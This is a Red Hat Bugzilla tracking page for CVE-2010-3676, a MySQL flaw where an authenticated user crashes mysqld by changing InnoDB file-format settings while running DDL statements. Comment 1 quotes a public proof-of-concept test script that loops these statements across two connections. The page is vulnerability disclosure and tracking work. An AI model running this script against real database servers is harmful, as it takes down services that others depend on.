Bug 628660 - (CVE-2010-3676) CVE-2010-3676 MySQL: mysqld DoS (assertion failure) after changing InnoDB storage engine configuration parameters (MySQL bug #55039)
CVE-2010-3676 MySQL: mysqld DoS (assertion failure) after changing InnoDB st...
Status: NEW
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
low Severity low
: ---
: ---
Assigned To: Red Hat Product Security
public=20100709,reported=20100827,sou...
: Security
Depends On: 636780
Blocks:
  Show dependency treegraph
 
Reported: 2010-08-30 12:53 EDT by Jan Lieskovsky
Modified: 2015-07-31 08:13 EDT (History)
3 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed:
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Jan Lieskovsky 2010-08-30 12:53:11 EDT
A denial of service flaw was found in the way MySQL processed
multiple parallel connections changing InnoDB storage engine 
configuration parameters (innodb_file_format and innodb_file_per_table)
and simultaneously issuing data definition language (DDL) statemens.
A remote, authenticated MySQL user could use this flaw to cause
mysqld daemon abort (assertion failure).

References:
  [1] http://secunia.com/advisories/41048/
  [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html

Upstream bug report:
  [3] http://bugs.mysql.com/bug.php?id=55039
Comment 1 Jan Lieskovsky 2010-08-30 12:55:56 EDT
Public PoC (from [3]):

# MTR test case. It failed for me 18 times of 20 I tried
# Increasing number of tries or running the test case via --repeat
# does not seem to help, try just to restart it if it did not work.

--source include/have_innodb.inc

--connect(con1,localhost,root,,)
--connect(con2,localhost,root,,)

--let $try=100

while($try)
{
        --dec $try
        --connection con1
        --send CREATE TEMPORARY TABLE operations (op VARCHAR(16)) ENGINE=InnoDB
        --connection con2
        --send SET GLOBAL innodb_file_format=Antelope, innodb_file_per_table=ON
        --connection con1
        --reap
        DROP TABLE operations;
        --connection con2
        --reap
        SET GLOBAL innodb_file_format = Barracuda, innodb_file_per_table = OFF;
}

--exit
Comment 6 Jan Lieskovsky 2010-08-30 16:12:26 EDT
This issue did NOT affect the versions of the mysql package, as shipped
with Red Hat Enterprise Linux 3, 4, or 5.

--

This issue did NOT affect the version of the mysql package, as shipped
with Fedora release of 12.

This issue affects the version of the mysql package, as shipped with
Fedora release of 13.
Comment 8 Jan Lieskovsky 2010-08-31 08:54:18 EDT
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8
Comment 9 Jan Lieskovsky 2010-09-23 05:33:26 EDT
Created mysql tracking bugs for this issue

Affects: fedora-all [bug 636780]
Comment 10 Jan Lieskovsky 2010-09-29 04:35:55 EDT
The CVE identifier of CVE-2010-3676 has been assigned to this issue.
Comment 12 Vincent Danen 2011-01-11 18:05:50 EST
Statement:

Not vulnerable. This issue did not affect the versions of mysql package
as shipped with Red Hat Enterprise Linux 3, 4, 5, or 6.

Note You need to log in before you can comment on or make changes to this bug.